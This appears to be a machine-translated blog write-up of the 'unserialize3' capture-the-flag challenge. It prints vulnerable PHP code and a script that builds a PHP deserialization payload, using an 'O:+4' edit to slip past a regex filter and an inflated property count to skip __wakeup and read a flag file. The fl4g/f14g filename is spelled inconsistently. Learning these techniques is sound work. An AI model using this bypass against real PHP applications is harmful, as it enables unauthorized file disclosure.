当前位置:网站首页>Solution to the problem of unserialize3 in the advanced web area of the attack and defense world
Solution to the problem of unserialize3 in the advanced web area of the attack and defense world
2022-07-08 00:16:00 【B_ secretary】
<?php
class Demo {
private $file = 'index.php';
// Constructors , Call automatically when the variable is created ,__ Means magic method , When the conditions are met, it will automatically call
public function __construct($file) {
$this->file = $file;
//“->” stay PHP Equivalent to Python Of “.”, Methods used to call objects
}
// Destructor , Call automatically when the variable is destroyed
function __destruct() {
echo @highlight_file($this->file, true);
}
// Print file The content in , Show the document to the reader
/* highlight_file(filename,return) Function to highlight the syntax of the file , If return Parameter is set to true, Then the function will return the highlighted code , Instead of outputting them .
The whole code means that when the file is destroyed, it will output $file Code for .at Symbol (@) stay PHP Used as an error control operator in . When the expression is attached @ The symbol , Error messages that may be generated by this expression will be ignored .*/
// It will be called automatically when deserializing
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
// Change the file name to “index.php”
}
}
if (isset($_GET['var'])) {
/* Judgment variable var Is it created , Checks whether the variable is set and not NULL, This code is to detect whether it is passed get Requested var Variable */
$var = base64_decode($_GET['var']);
// take var Explain base64 code
if (preg_match('/[oc]:\d+:/i', $var)) {
// matching var Whether there is a string in
die('stop hacking!');
} else {
@unserialize($var);
// Deserialization var, This will call wakeup function
}
} else {
highlight_file("index.php");
// Highlight index.php, This is not the result we want
}
?> The topic source code tells us flag stay f14g.php in , So we want to enter this file , that payload Need to meet :
1、 It doesn't contain preg_match Or directly bypass preg_match function
2、 Deserialization bypasses wakeup function
So we use serialization to construct a var Pass in , Let variable value be equal to f14g.php, When the variable is destroyed, it will be displayed by the destructor f14g.php
structure payload Code :
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
$this->file = 'index.php';
}
}
}
$payload = new Demo('fl4g.php');// Create objects Demo, Its file The value is f14g.php
$payload = serialize($payload);// Serialization operation
$payload = str_replace('O:4', 'O:+4',$payload);
// Will be one of the “0:4” Switch to “0:+4” So as to bypass the regularities
$payload = str_replace(':1:', ':2:' ,$payload);
// Number of objects in serialization “1” Change it to “2”, To bypass the wakeup function ( If the value of the number of objects recorded in the serialization is larger than the real number of objects, you can bypass wakeup)
// Nonprintable white space in serialization is equivalent to %00, It needs to be in payload Medium plus
echo base64_encode($payload); // For parameters base64 Code and print out
?>边栏推荐
- Robomaster visual tutorial (11) summary
- The result of innovation in professional courses such as robotics (Automation)
- Operating system principle --- summary of interview knowledge points
- How to put recyclerview in nestedscrollview- How to put RecyclerView inside NestedScrollView?
- PostGIS learning
- CoinDesk评波场去中心化进程:让人们看到互联网的未来
- Set up personal network disk with nextcloud
- Is Zhou Hongyi, 52, still young?
- 【編程題】【Scratch二級】2019.12 飛翔的小鳥
- Binary sort tree [BST] - create, find, delete, output
猜你喜欢

Robomaster visual tutorial (1) camera

Pypharm uses, and the third-party library has errors due to version problems

80% of the people answered incorrectly. Does the leaf on the apple logo face left or right?

SQL connection problem after downloading (2)
![[programming problem] [scratch Level 2] March 2019 draw a square spiral](/img/fa/ae9dabdd36ba77b1f4644dd23bee93.png)
[programming problem] [scratch Level 2] March 2019 draw a square spiral

备库一直有延迟,查看mrp为wait_for_log,重启mrp后为apply_log但过一会又wait_for_log

单机高并发模型设计

How to measure whether the product is "just needed, high frequency, pain points"

The function is really powerful!

Kubectl's handy command line tool: Oh my Zsh tips and tricks
随机推荐
80%的人答错,苹果logo上的叶子到底朝左还是朝右?
关于组织2021-2022全国青少年电子信息智能创新大赛西南赛区(四川)复赛的通知
爬虫实战(八):爬表情包
Seven years' experience of a test engineer -- to you who walk alone all the way (don't give up)
他们齐聚 2022 ECUG Con,只为「中国技术力量」
【转载】解决conda安装pytorch过慢的问题
[question de programmation] [scratch niveau 2] oiseaux volants en décembre 2019
Cmake learning notes (1) compile single source programs with cmake
52歲的周鴻禕,還年輕嗎?
从服务器到云托管,到底经历了什么?
在网页中打开展示pdf文件
C# 泛型及性能比较
测试流程不完善,又遇到不积极的开发怎么办?
如果在构造函数中抛出异常,最好的做法是防止内存泄漏?
Robomaster visual tutorial (10) target prediction
Install sqlserver2019
全自动化处理每月缺卡数据,输出缺卡人员信息
One click installation with fishros in blue bridge ROS
[programming questions] [scratch Level 2] March 2019 garbage classification
Pypharm uses, and the third-party library has errors due to version problems